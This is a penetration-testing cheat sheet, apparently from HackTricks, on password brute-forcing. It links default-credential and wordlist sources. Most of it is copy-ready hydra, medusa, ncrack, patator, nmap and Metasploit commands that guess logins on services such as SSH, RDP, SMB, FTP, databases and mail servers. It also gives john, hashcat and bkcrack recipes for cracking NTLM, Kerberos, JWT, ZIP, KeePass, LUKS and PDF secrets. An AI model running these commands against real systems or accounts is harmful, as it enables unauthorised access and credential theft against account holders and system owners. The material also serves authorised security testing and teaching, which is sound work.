hacktricks/generic-methodologies-and-resources/brute-force.md

# Brute Force - CheatSheet

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## Default Credentials

**Search in google** for default credentials of the technology that is being used, or **try these links**:

* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)

## **Create your own Dictionaries**

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

### Crunch

```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```

### Cewl

```bash
cewl example.com -m 5 -w words.txt
```

### [CUPP](https://github.com/Mebus/cupp)

Generate passwords based on your knowledge of the victim (names, dates...)

```
python3 cupp.py -h
```

### [Wister](https://github.com/cycurity/wister)

A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target.

```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

 __          _______  _____ _______ ______ _____  
 \ \        / /_   _|/ ____|__   __|  ____|  __ \ 
  \ \  /\  / /  | | | (___    | |  | |__  | |__) |
   \ \/  \/ /   | |  \___ \   | |  |  __| |  _  / 
    \  /\  /   _| |_ ____) |  | |  | |____| | \ \ 
     \/  \/   |_____|_____/   |_|  |______|_|  \_\

      Version 1.0.3                    Cycurity    
      
Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.
```

### [pydictor](https://github.com/LandGrey/pydictor)

### Wordlists

* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)

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## Services

Ordered alphabetically by service name.

### AFP

```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```

### AJP

```bash
nmap --script ajp-brute -p 8009 <IP>
```

### Cassandra

```bash
nmap --script cassandra-brute -p 9160 <IP>
```

### CouchDB

```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```

### Docker Registry

```
hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```

### Elasticsearch

```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```

### FTP

```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
```

### HTTP Generic Brute

#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)

### HTTP Basic Auth

```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
```

### HTTP - Post Form

```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```

For http**s** you have to change from "http-post-form" to "**https-post-form"**

### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle

```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```

### IMAP

```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
```

### IRC

```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```

### ISCSI

```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```

### JWT

```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```

### LDAP

```bash
nmap --script ldap-brute -p 389 <IP>
```

### MQTT

```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
```

### Mongo

```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
```

### MySQL

```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
```

### OracleSQL

```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
```

In order to use **oracle\_login** with **patator** you need to **install**:

```bash
pip3 install cx_Oracle --upgrade
```

[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**):

```bash
 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```

### POP

```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
```

### PostgreSQL

```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
```

### PPTP

You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)

```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
```

### RDP

```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
```

### Redis

```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
```

### Rexec

```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```

### Rlogin

```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```

### Rsh

```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```

[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)

### Rsync

```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```

### RTSP

```bash
hydra -l root -P passwords.txt <IP> rtsp
```

### SNMP

```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```

### SMB

```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```

### SMTP

```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
```

### SOCKS

```bash
nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
```

### SSH

```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
```

#### Weak SSH keys / Debian predictable PRNG

Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).

### SQL Server

```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```

### Telnet

```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
```

### VNC

```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```

### Winrm

```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```

<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>

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## Local

### Online cracking databases

* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)

Check this out before trying to brute force a Hash.

### ZIP

```bash
#sudo apt-get install fcrackzip 
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```

```bash
zip2john file.zip > zip.john
john zip.john
```

```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```

#### Known plaintext zip attack

You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\
Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page.

```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd 
unzip unlocked.zip #User new_pwd as password
```

### 7z

```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```

```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```

### PDF

```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```

### PDF Owner Password

To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)

### JWT

```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```

### NTLM cracking

```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```

### Keepass

```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

### Keberoasting

```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```

### Lucks image

#### Method 1

Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)

```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```

#### Method 2

```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```

Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)

### Mysql

```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```

### PGP/GPG Private key

```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```

### Cisco

<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>

### DPAPI Master Key

Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john

### Open Office Pwd Protected Column

If you have an xlsx file with a column protected by a password you can unprotect it:

* **Upload it to google drive** and the password will be automatically removed
* To **remove** it **manually**:

```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
```

### PFX Certificates

```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```

<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>

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## Tools

**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)

### Hash-identifier

```bash
hash-identifier
> <HASH>
```

### Wordlists

* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)

### **Wordlist Generation Tools**

* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes.

```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```

### John mutation

Read _**/etc/john/john.conf**_ and configure it

```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```

### Hashcat

#### Hashcat attacks

* **Wordlist attack** (`-a 0`) with rules

**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).

```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```

* **Wordlist combinator** attack

It's possible to **combine 2 wordlists into 1** with hashcat.\
If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated.

```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```

* **Mask attack** (`-a 3`)

```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```

* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack

```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```

#### Hashcat modes

```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```

Cracking Linux Hashes - /etc/shadow file

```
 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
```

Cracking Windows Hashes

```
3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems
```

Cracking Common Application Hashes

```
  900 | MD4                                              | Raw Hash
    0 | MD5                                              | Raw Hash
 5100 | Half MD5                                         | Raw Hash
  100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
 1400 | SHA-256                                          | Raw Hash
 1700 | SHA-512                                          | Raw Hash
```

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